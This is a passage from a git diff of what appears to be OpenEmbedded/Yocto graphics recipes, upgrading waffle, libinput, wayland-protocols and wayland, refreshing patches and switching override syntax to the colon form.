-# I say virtual/libgl, actually wants gl.pc
-PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/${MLPREFIX}libgl libx11"
-
-# I say virtual/libgl, actually wants wayland-egl.pc, egl.pc, and the wayland
-# DISTRO_FEATURE.
-PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/${MLPREFIX}libgl wayland"
-
-# I say virtual/libgl, actually wants gbm.pc egl.pc
-PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled,virtual/${MLPREFIX}libgl udev"
-
-# I say virtual/libgl, actually wants egl.pc
-PACKAGECONFIG[x11-egl] = "-Dx11_egl=enabled,-Dx11_egl=disabled,virtual/${MLPREFIX}libgl libxcb"
-PACKAGECONFIG[surfaceless-egl] = "-Dsurfaceless_egl=enabled,-Dsurfaceless_egl=disabled,virtual/${MLPREFIX}libgl"
-
-# TODO: optionally build manpages and examples
diff --git a/meta/recipes-graphics/waffle/waffle_1.7.0.bb b/meta/recipes-graphics/waffle/waffle_1.7.0.bb
new file mode 100644
index 0000000000..ea11309940
--- /dev/null
+++ b/meta/recipes-graphics/waffle/waffle_1.7.0.bb
@@ -0,0 +1,49 @@
+SUMMARY = "A C library for selecting an OpenGL API and window system at runtime"
+DESCRIPTION = "A cross-platform C library that allows one to defer selection \
+of an OpenGL API and window system until runtime. For example, on Linux, Waffle \
+enables an application to select X11/EGL with an OpenGL 3.3 core profile, \
+Wayland with OpenGL ES2, and other window system / API combinations."
+HOMEPAGE = "https://gitlab.freedesktop.org/mesa/waffle"
+BUGTRACKER = "https://gitlab.freedesktop.org/mesa/waffle"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4c5154407c2490750dd461c50ad94797 \
+ file://include/waffle-1/waffle.h;endline=24;md5=61dbf8697f61c78645e75a93c585b1bf"
+
+SRC_URI = "git://gitlab.freedesktop.org/mesa/waffle.git;protocol=https;branch=master \
+ file://0001-waffle-do-not-make-core-protocol-into-the-library.patch \
+ "
+SRCREV = "905c6c10f2483adf0cbfa024e2d3c2ed541fb300"
+S = "${WORKDIR}/git"
+
+inherit meson features_check lib_package bash-completion pkgconfig
+
+DEPENDS:append = " python3 cmake-native"
+
+# This should be overridden per-machine to reflect the capabilities of the GL
+# stack.
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11-egl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
+ surfaceless-egl gbm"
+
+# virtual/libgl requires opengl in DISTRO_FEATURES.
+REQUIRED_DISTRO_FEATURES += "${@bb.utils.contains('DEPENDS', 'virtual/${MLPREFIX}libgl', 'opengl', '', d)}"
+
+# I say virtual/libgl, actually wants gl.pc
+PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/${MLPREFIX}libgl libx11"
+
+# I say virtual/libgl, actually wants wayland-egl.pc, egl.pc, and the wayland
+# DISTRO_FEATURE.
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/${MLPREFIX}libgl wayland wayland-native"
+
+# I say virtual/libgl, actually wants gbm.pc egl.pc
+PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled,virtual/${MLPREFIX}libgl udev"
+
+# I say virtual/libgl, actually wants egl.pc
+PACKAGECONFIG[x11-egl] = "-Dx11_egl=enabled,-Dx11_egl=disabled,virtual/${MLPREFIX}libgl libxcb"
+PACKAGECONFIG[surfaceless-egl] = "-Dsurfaceless_egl=enabled,-Dsurfaceless_egl=disabled,virtual/${MLPREFIX}libgl"
+
+# TODO: optionally build manpages and examples
+
+do_install:append() {
+ sed -i -e "s,${WORKDIR},,g" ${D}/${libdir}/cmake/Waffle/WaffleConfig.cmake
+}
diff --git a/meta/recipes-graphics/wayland/libinput/run-ptest b/meta/recipes-graphics/wayland/libinput/run-ptest
index 5a84c568b9..d11e6eb25b 100644
--- a/meta/recipes-graphics/wayland/libinput/run-ptest
+++ b/meta/recipes-graphics/wayland/libinput/run-ptest
@@ -1,6 +1,6 @@
#!/bin/sh
-/usr/libexec/libinput/libinput-test-suite
+/usr/libexec/libinput/libinput-test-suite -j1
if [ $? -eq 0 ]; then
echo 'PASS: libinput-test-suite'
else
diff --git a/meta/recipes-graphics/wayland/libinput_1.16.3.bb b/meta/recipes-graphics/wayland/libinput_1.16.3.bb
deleted file mode 100644
index 8929de6ae0..0000000000
--- a/meta/recipes-graphics/wayland/libinput_1.16.3.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Library to handle input devices in Wayland compositors"
-DESCRIPTION = "libinput is a library to handle input devices in Wayland \
-compositors and to provide a generic X.Org input driver. It provides \
-device detection, device handling, input device event processing and \
-abstraction so minimize the amount of custom input code compositors need to \
-provide the common set of functionality that users expect."
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libinput/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1f2ea9ebff3a2c6d458faf58492efb63"
-
-DEPENDS = "libevdev udev mtdev libcheck"
-
-SRC_URI = "http://www.freedesktop.org/software/${BPN}/${BP}.tar.xz \
- file://run-ptest \
- file://determinism.patch \
- "
-SRC_URI[sha256sum] = "dc5e1ae51ec1cc635ca96f61118b0f07dfea783cab0747a60f3555068bb077e4"
-
-UPSTREAM_CHECK_REGEX = "libinput-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
-
-inherit meson pkgconfig lib_package ptest
-
-# Patch out build directory, otherwise it leaks into ptest binary
-do_configure_append() {
- sed -i -e "s,${WORKDIR},,g" config.h
- if [ -e "litest-config.h" ]; then
- sed -i -e "s,${WORKDIR},,g" litest-config.h
- fi
-}
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[libwacom] = "-Dlibwacom=true,-Dlibwacom=false,libwacom"
-PACKAGECONFIG[gui] = "-Ddebug-gui=true,-Ddebug-gui=false,cairo gtk+3"
-
-UDEVDIR = "`pkg-config --variable=udevdir udev`"
-
-EXTRA_OEMESON += "-Dudev-dir=${UDEVDIR} \
- -Ddocumentation=false \
- ${@bb.utils.contains('PTEST_ENABLED', '1', '-Dtests=true -Dinstall-tests=true', '-Dtests=false -Dinstall-tests=false', d)} \
- -Dzshcompletiondir=no"
-
-# package name changed in 1.8.1 upgrade: make sure package upgrades work
-RPROVIDES_${PN} = "libinput"
-RREPLACES_${PN} = "libinput"
-RCONFLICTS_${PN} = "libinput"
-
-FILES_${PN}-ptest += "${libexecdir}/libinput/libinput-test-suite"
diff --git a/meta/recipes-graphics/wayland/libinput_1.19.2.bb b/meta/recipes-graphics/wayland/libinput_1.19.2.bb
new file mode 100644
index 0000000000..590dee42e5
--- /dev/null
+++ b/meta/recipes-graphics/wayland/libinput_1.19.2.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Library to handle input devices in Wayland compositors"
+DESCRIPTION = "libinput is a library to handle input devices in Wayland \
+compositors and to provide a generic X.Org input driver. It provides \
+device detection, device handling, input device event processing and \
+abstraction so minimize the amount of custom input code compositors need to \
+provide the common set of functionality that users expect."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libinput/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bab4ac7dc1c10bc0fb037dc76c46ef8a"
+
+DEPENDS = "libevdev udev mtdev libcheck"
+
+SRC_URI = "http://www.freedesktop.org/software/${BPN}/${BP}.tar.xz \
+ file://run-ptest \
+ file://determinism.patch \
+ "
+SRC_URI[sha256sum] = "0fc39f0af3ee1a77c60c34bc45391a4d0879169f7c0f7bbbeb5eef590b98b883"
+
+UPSTREAM_CHECK_REGEX = "libinput-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+inherit meson pkgconfig lib_package ptest
+
+# Patch out build directory, otherwise it leaks into ptest binary
+do_configure:append() {
+ sed -i -e "s,${WORKDIR},,g" config.h
+ if [ -e "litest-config.h" ]; then
+ sed -i -e "s,${WORKDIR},,g" litest-config.h
+ fi
+}
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[libwacom] = "-Dlibwacom=true,-Dlibwacom=false,libwacom"
+PACKAGECONFIG[gui] = "-Ddebug-gui=true,-Ddebug-gui=false,cairo gtk+3"
+
+UDEVDIR = "`pkg-config --variable=udevdir udev`"
+
+EXTRA_OEMESON += "-Dudev-dir=${UDEVDIR} \
+ -Ddocumentation=false \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', '-Dtests=true -Dinstall-tests=true', '-Dtests=false -Dinstall-tests=false', d)} \
+ -Dzshcompletiondir=no"
+
+# package name changed in 1.8.1 upgrade: make sure package upgrades work
+RPROVIDES:${PN} = "libinput"
+RREPLACES:${PN} = "libinput"
+RCONFLICTS:${PN} = "libinput"
+
+FILES:${PN}-ptest += "${libexecdir}/libinput/libinput-test-suite"
diff --git a/meta/recipes-graphics/wayland/wayland-protocols_1.20.bb b/meta/recipes-graphics/wayland/wayland-protocols_1.20.bb
deleted file mode 100644
index 3fb78f658c..0000000000
--- a/meta/recipes-graphics/wayland/wayland-protocols_1.20.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Collection of additional Wayland protocols"
-DESCRIPTION = "Wayland protocols that add functionality not \
-available in the Wayland core protocol. Such protocols either add \
-completely new functionality, or extend the functionality of some other \
-protocol either in Wayland core, or some other protocol in \
-wayland-protocols."
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c7b12b6702da38ca028ace54aae3d484 \
- file://stable/presentation-time/presentation-time.xml;endline=26;md5=4646cd7d9edc9fa55db941f2d3a7dc53"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- "
-SRC_URI[md5sum] = "b0836533a3f2dc6585b1dae00341157f"
-SRC_URI[sha256sum] = "9782b7a1a863d82d7c92478497d13c758f52e7da4f197aa16443f73de77e4de7"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit allarch autotools pkgconfig
-
-PACKAGES = "${PN}"
-FILES_${PN} += "${datadir}/pkgconfig/wayland-protocols.pc"
diff --git a/meta/recipes-graphics/wayland/wayland-protocols_1.24.bb b/meta/recipes-graphics/wayland/wayland-protocols_1.24.bb
new file mode 100644
index 0000000000..2a1f1e3dce
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland-protocols_1.24.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Collection of additional Wayland protocols"
+DESCRIPTION = "Wayland protocols that add functionality not \
+available in the Wayland core protocol. Such protocols either add \
+completely new functionality, or extend the functionality of some other \
+protocol either in Wayland core, or some other protocol in \
+wayland-protocols."
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c7b12b6702da38ca028ace54aae3d484 \
+ file://stable/presentation-time/presentation-time.xml;endline=26;md5=4646cd7d9edc9fa55db941f2d3a7dc53"
+
+SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
+ "
+SRC_URI[sha256sum] = "bff0d8cffeeceb35159d6f4aa6bab18c807b80642c9d50f66cba52ecf7338bc2"
+
+UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
+
+inherit allarch meson pkgconfig
+
+EXTRA_OEMESON += "-Dtests=false"
+
+PACKAGES = "${PN}"
+FILES:${PN} += "${datadir}/pkgconfig/wayland-protocols.pc"
diff --git a/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch b/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
index c2ceae4a47..ad1063b2c3 100644
--- a/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
+++ b/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
@@ -1,4 +1,4 @@
-From e6783c99f051c6d8252db5f388d805cef0e16357 Mon Sep 17 00:00:00 2001
+From 6a6223a8e217664a348835e92d5a602f50e18b2c Mon Sep 17 00:00:00 2001
From: Joshua Watt <JPEWhacker@gmail.com>
Date: Thu, 20 Feb 2020 15:20:45 -0600
Subject: [PATCH] build: Fix strndup detection on MinGW
@@ -13,10 +13,13 @@ See: https://github.com/mesonbuild/meson/issues/3672
Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
Upstream-Status: Submitted [https://gitlab.freedesktop.org/wayland/wayland/merge_requests/63]
+
---
meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
+diff --git a/meson.build b/meson.build
+index 11c35fa..80729d0 100644
--- a/meson.build
+++ b/meson.build
@@ -36,11 +36,11 @@ have_funcs = [
diff --git a/meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch b/meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch
deleted file mode 100644
index 61de0e04e8..0000000000
--- a/meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From b2c74f6a3dbe0aee2413800837314136947a4985 Mon Sep 17 00:00:00 2001
-From: Jan Beich <jbeich@FreeBSD.org>
-Date: Sat, 15 Feb 2020 02:03:45 +0000
-Subject: [PATCH] meson/tests: add missing dependencies on protocol headers
-
-In file included from ../tests/connection-test.c:43:
-In file included from ../tests/test-compositor.h:30:
-../src/wayland-client.h:40:10: fatal error: 'wayland-client-protocol.h' file not found
- #include "wayland-client-protocol.h"
- ^~~~~~~~~~~~~~~~~~~~~~~~~~~
-In file included from ../tests/display-test.c:45:
-In file included from ../src/wayland-server.h:104:
-src/wayland-server-protocol.h:4454:2: error: unterminated /* comment
- /**
- ^
-In file included from ../tests/cpp-compile-test.cpp:2:
-In file included from src/wayland-server-protocol.h:8:
-In file included from ../src/wayland-server.h:104:
-src/wayland-server-protocol.h:3:2: error: unterminated conditional directive
- #ifndef WAYLAND_SERVER_PROTOCOL_H
- ^
-../tests/headers-protocol-test.c:33:2: error: including wayland-server-protocol.h did not include wayland-server.h!
- #error including wayland-server-protocol.h did not include wayland-server.h!
- ^
-In file included from ../tests/headers-protocol-test.c:26:
-In file included from src/wayland-client-protocol.h:8:
-In file included from ../src/wayland-client.h:40:
-src/wayland-client-protocol.h:1358:2: error: unterminated conditional directive
- #ifndef WL_SHM_FORMAT_ENUM
- ^
-In file included from ../tests/protocol-logger-test.c:34:
-In file included from ../src/wayland-client.h:40:
-src/wayland-client-protocol.h:2613:1: error: unterminated /* comment
-/**
-^
-../tests/resources-test.c:49:36: error: use of undeclared identifier 'wl_seat_interface'
- res = wl_resource_create(client, &wl_seat_interface, 4, 0);
- ^
-Upstream-Status: Backport
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/meson.build | 26 ++++++++++++++++++--------
- 1 file changed, 18 insertions(+), 8 deletions(-)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index c28a2a3..f1af7b4 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -69,7 +69,7 @@ test(
- executable(
- 'cpp-compile-test',
- 'cpp-compile-test.cpp',
-- wayland_server_protocol_core_h,
-+ wayland_server_protocol_h,
- include_directories: src_inc
- )
- )
-@@ -91,17 +91,25 @@ tests = {
- 'array-test': [],
- 'client-test': [ wayland_server_protocol_h ],
- 'display-test': [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
- tests_server_protocol_h,
- tests_client_protocol_c,
- tests_protocol_c,
- ],
-- 'connection-test': [ wayland_server_protocol_h ],
-+ 'connection-test': [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
-+ ],
- 'event-loop-test': [ wayland_server_protocol_h ],
- 'fixed-test': [],
- 'interface-test': [ wayland_client_protocol_h ],
- 'list-test': [],
- 'map-test': [],
-- 'sanity-test' : [ wayland_server_protocol_h ],
-+ 'sanity-test' : [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
-+ ],
- 'socket-test': [
- wayland_client_protocol_h,
- wayland_server_protocol_h,
-@@ -116,7 +124,7 @@ tests = {
- files('../src/wayland-server.c'),
- wayland_server_protocol_h,
- ],
-- 'resources-test': [ wayland_server_protocol_core_h ],
-+ 'resources-test': [ wayland_server_protocol_h ],
- 'message-test': [
- wayland_client_protocol_h,
- wayland_server_protocol_h,
-@@ -126,14 +134,16 @@ tests = {
- wayland_server_protocol_h,
- ],
- 'protocol-logger-test': [
-- wayland_server_protocol_core_h,
-- wayland_client_protocol_core_h,
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
- ],
- 'headers-test': [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
- 'headers-protocol-test.c',
-- 'headers-protocol-core-test.c',
-- wayland_server_protocol_core_h,
- wayland_client_protocol_core_h,
-+ wayland_server_protocol_core_h,
-+ 'headers-protocol-core-test.c',
- ],
- 'os-wrappers-test': [],
- }
diff --git a/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch b/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
index 2199548bdf..e3e71925b8 100644
--- a/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
+++ b/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
@@ -1,4 +1,4 @@
-From cbb28635a1079d68e62dbaa1e21791a20dbbbaf4 Mon Sep 17 00:00:00 2001
+From 3e7cd56611aeec274e48a4816bc7c21f74f15be0 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 17 Feb 2020 21:46:18 +0100
Subject: [PATCH] Do not hardcode the path to wayland-scanner
@@ -7,20 +7,21 @@ This results in host contamination during builds.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
src/meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/meson.build b/src/meson.build
-index 294aee0..7e410fa 100644
+index 15730a3..61edbc8 100644
--- a/src/meson.build
+++ b/src/meson.build
-@@ -49,7 +49,7 @@ pkgconfig.generate(
- 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
- 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name()),
- 'bindir=' + join_paths('${prefix}', get_option('bindir')),
-- 'wayland_scanner=${bindir}/wayland-scanner'
-+ 'wayland_scanner=wayland-scanner'
- ],
- filebase: 'wayland-scanner'
- )
+@@ -52,7 +52,7 @@ if get_option('scanner')
+ 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
+ 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name()),
+ 'bindir=' + join_paths('${prefix}', get_option('bindir')),
+- 'wayland_scanner=${bindir}/wayland-scanner'
++ 'wayland_scanner=wayland-scanner'
+ ],
+ filebase: 'wayland-scanner'
+ )
diff --git a/meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch b/meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch
deleted file mode 100644
index f98037a850..0000000000
--- a/meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 2582d2653ba80917d7bc47088e1a5f49530fddaa Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sun, 16 Feb 2020 16:29:53 +0100
-Subject: [PATCH] meson.build: find the native wayland-scanner directly in PATH
-
-Otherwise, meson attempts to use the target pkg-config and fails.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/meson.build | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/src/meson.build b/src/meson.build
-index 3e8c9bf..294aee0 100644
---- a/src/meson.build
-+++ b/src/meson.build
-@@ -55,8 +55,7 @@ pkgconfig.generate(
- )
-
- if meson.is_cross_build()
-- scanner_dep = dependency('wayland-scanner', native: true, version: '>=1.14.0')
-- wayland_scanner_for_build = find_program(scanner_dep.get_pkgconfig_variable('wayland_scanner'))
-+ wayland_scanner_for_build = find_program('wayland-scanner')
- else
- wayland_scanner_for_build = wayland_scanner
- endif
diff --git a/meta/recipes-graphics/wayland/wayland_1.18.0.bb b/meta/recipes-graphics/wayland/wayland_1.18.0.bb
deleted file mode 100644
index 00be3aac27..0000000000
--- a/meta/recipes-graphics/wayland/wayland_1.18.0.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Wayland, a protocol between a compositor and clients"
-DESCRIPTION = "Wayland is a protocol for a compositor to talk to its clients \
-as well as a C library implementation of that protocol. The compositor can be \
-a standalone display server running on Linux kernel modesetting and evdev \
-input devices, an X application, or a wayland client itself. The clients can \
-be traditional applications, X servers (rootless or fullscreen) or other \
-display servers."
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b31d8f53b6aaf2b4985d7dd7810a70d1 \
- file://src/wayland-server.c;endline=24;md5=b8e046164a766bb1ede8ba38e9dcd7ce"
-
-DEPENDS = "expat libffi wayland-native"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://0002-meson.build-find-the-native-wayland-scanner-directly.patch \
- file://0002-Do-not-hardcode-the-path-to-wayland-scanner.patch \
- file://0001-build-Fix-strndup-detection-on-MinGW.patch \
- file://0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch \
- "
-SRC_URI[md5sum] = "23317697b6e3ff2e1ac8c5ba3ed57b65"
-SRC_URI[sha256sum] = "4675a79f091020817a98fd0484e7208c8762242266967f55a67776936c2e294d"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit meson pkgconfig ptest
-
-PACKAGECONFIG ??= "dtd-validation"
-PACKAGECONFIG[dtd-validation] = "-Ddtd_validation=true,-Ddtd_validation=false,libxml2,,"
-
-EXTRA_OEMESON = "-Ddocumentation=false"
-EXTRA_OEMESON_class-native = "-Ddocumentation=false -Dlibraries=false"
-
-# Wayland installs a M4 macro for other projects to use, which uses the target
-# pkg-config to find files. Replace pkg-config with pkg-config-native.
-do_install_append_class-native() {
- sed -e 's,PKG_CHECK_MODULES(.*),,g' \
- -e 's,$PKG_CONFIG,pkg-config-native,g' \
- -i ${D}/${datadir}/aclocal/wayland-scanner.m4
-}
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/tests/data
- cp -rf ${B}/tests/*-test ${B}/tests/*-checker ${D}${PTEST_PATH}/tests
- cp -rf ${B}/tests/*-checker ${D}${PTEST_PATH}
- cp -rf ${S}/tests/scanner-test.sh ${D}${PTEST_PATH}/tests
- cp -rf ${S}/tests/data/* ${D}${PTEST_PATH}/tests/data/
- cp -rf ${S}/egl/wayland-egl-symbols-check ${D}${PTEST_PATH}/tests/
-}
-
-sysroot_stage_all_append_class-target () {
- rm ${SYSROOT_DESTDIR}/${datadir}/aclocal/wayland-scanner.m4
- cp ${STAGING_DATADIR_NATIVE}/aclocal/wayland-scanner.m4 ${SYSROOT_DESTDIR}/${datadir}/aclocal/
-}
-
-FILES_${PN} = "${libdir}/*${SOLIBS}"
-FILES_${PN}-dev += "${bindir} ${datadir}/wayland"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN}-ptest += "binutils sed"
diff --git a/meta/recipes-graphics/wayland/wayland_1.19.0.bb b/meta/recipes-graphics/wayland/wayland_1.19.0.bb
new file mode 100644
index 0000000000..4c9ae0f75c
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland_1.19.0.bb
@@ -0,0 +1,61 @@
+SUMMARY = "Wayland, a protocol between a compositor and clients"
+DESCRIPTION = "Wayland is a protocol for a compositor to talk to its clients \
+as well as a C library implementation of that protocol. The compositor can be \
+a standalone display server running on Linux kernel modesetting and evdev \
+input devices, an X application, or a wayland client itself. The clients can \
+be traditional applications, X servers (rootless or fullscreen) or other \
+display servers."
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b31d8f53b6aaf2b4985d7dd7810a70d1 \
+ file://src/wayland-server.c;endline=24;md5=b8e046164a766bb1ede8ba38e9dcd7ce"
+
+DEPENDS = "expat libffi wayland-native"
+
+SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://0002-Do-not-hardcode-the-path-to-wayland-scanner.patch \
+ file://0001-build-Fix-strndup-detection-on-MinGW.patch \
+ "
+SRC_URI[sha256sum] = "baccd902300d354581cd5ad3cc49daa4921d55fb416a5883e218750fef166d15"
+
+UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
+
+inherit meson pkgconfig ptest
+
+PACKAGECONFIG ??= "dtd-validation"
+PACKAGECONFIG[dtd-validation] = "-Ddtd_validation=true,-Ddtd_validation=false,libxml2,,"
+
+EXTRA_OEMESON = "-Ddocumentation=false"
+EXTRA_OEMESON:class-native = "-Ddocumentation=false -Dlibraries=false"
+
+# Wayland installs a M4 macro for other projects to use, which uses the target
+# pkg-config to find files. Replace pkg-config with pkg-config-native.
+do_install:append:class-native() {
+ sed -e 's,PKG_CHECK_MODULES(.*),,g' \
+ -e 's,$PKG_CONFIG,pkg-config-native,g' \
+ -i ${D}/${datadir}/aclocal/wayland-scanner.m4
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests/data
+ cp -rf ${B}/tests/*-test ${B}/tests/*-checker ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/tests/*-checker ${D}${PTEST_PATH}
+ cp -rf ${S}/tests/scanner-test.sh ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/data/* ${D}${PTEST_PATH}/tests/data/
+ cp -rf ${S}/egl/wayland-egl-symbols-check ${D}${PTEST_PATH}/tests/
+}
+
+sysroot_stage_all:append:class-target () {
+ rm ${SYSROOT_DESTDIR}/${datadir}/aclocal/wayland-scanner.m4
+ cp ${STAGING_DATADIR_NATIVE}/aclocal/wayland-scanner.m4 ${SYSROOT_DESTDIR}/${datadir}/aclocal/
+}
+
+PACKAGES =+ "${PN}-tools"
+
+FILES:${PN}-tools = "${bindir}/wayland-scanner"
+FILES:${PN}-dev += "${datadir}/${BPN}/wayland-scanner.mk"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "binutils sed ${PN}-tools"
diff --git a/meta/recipes-graphics/wayland/weston-init.bb b/meta/recipes-graphics/wayland/weston-init.bb
index 65d7b81dc5..e02da0c358 100644
--- a/meta/recipes-graphics/wayland/weston-init.bb
+++ b/meta/recipes-graphics/wayland/weston-init.bb
@@ -19,17 +19,18 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[no-idle-timeout] = ",,"
DEFAULTBACKEND ??= ""
-DEFAULTBACKEND_qemuall ?= "fbdev"
-DEFAULTBACKEND_qemuarm64 = "drm"
-DEFAULTBACKEND_qemux86 = "drm"
-DEFAULTBACKEND_qemux86-64 = "drm"
+DEFAULTBACKEND:qemuall ?= "fbdev"
+DEFAULTBACKEND:qemuarm64 = "drm"
+DEFAULTBACKEND:qemux86 = "drm"
+DEFAULTBACKEND:qemux86-64 = "drm"
# gallium swrast was found to crash weston on startup in x32 qemu
-DEFAULTBACKEND_qemux86-64_x86-x32 = "fbdev"
-DEFAULTBACKEND_x86-x32 = "fbdev"
+DEFAULTBACKEND:qemux86-64:x86-x32 = "fbdev"
+DEFAULTBACKEND:x86-x32 = "fbdev"
do_install() {
if [ "${VIRTUAL-RUNTIME_init_manager}" != "systemd" ]; then
install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/weston
+ sed -i 's#ROOTHOME#${ROOT_HOME}#' ${D}/${sysconfdir}/init.d/weston
fi
install -D -p -m0644 ${WORKDIR}/weston.ini ${D}${sysconfdir}/xdg/weston/weston.ini
install -Dm644 ${WORKDIR}/weston.env ${D}${sysconfdir}/default/weston
@@ -43,7 +44,7 @@ do_install() {
sed -i -e s:/etc:${sysconfdir}:g \
-e s:/usr/bin:${bindir}:g \
-e s:/var:${localstatedir}:g \
- ${D}${systemd_unitdir}/system/weston.service
+ ${D}${systemd_system_unitdir}/weston.service
# Install weston-start script
install -Dm755 ${WORKDIR}/weston-start ${D}${bindir}/weston-start
sed -i 's,@DATADIR@,${datadir},g' ${D}${bindir}/weston-start
@@ -69,12 +70,12 @@ USERADD_PACKAGES = "${PN}"
# requires pam enabled if started via systemd
REQUIRED_DISTRO_FEATURES = "opengl ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
-RDEPENDS_${PN} = "weston kbd"
+RDEPENDS:${PN} = "weston kbd"
INITSCRIPT_NAME = "weston"
INITSCRIPT_PARAMS = "start 9 5 2 . stop 20 0 1 6 ."
-FILES_${PN} += "\
+FILES:${PN} += "\
${sysconfdir}/xdg/weston/weston.ini \
${systemd_system_unitdir}/weston.service \
${systemd_system_unitdir}/weston.socket \
@@ -83,9 +84,9 @@ FILES_${PN} += "\
/home/weston \
"
-CONFFILES_${PN} += "${sysconfdir}/xdg/weston/weston.ini ${sysconfdir}/default/weston"
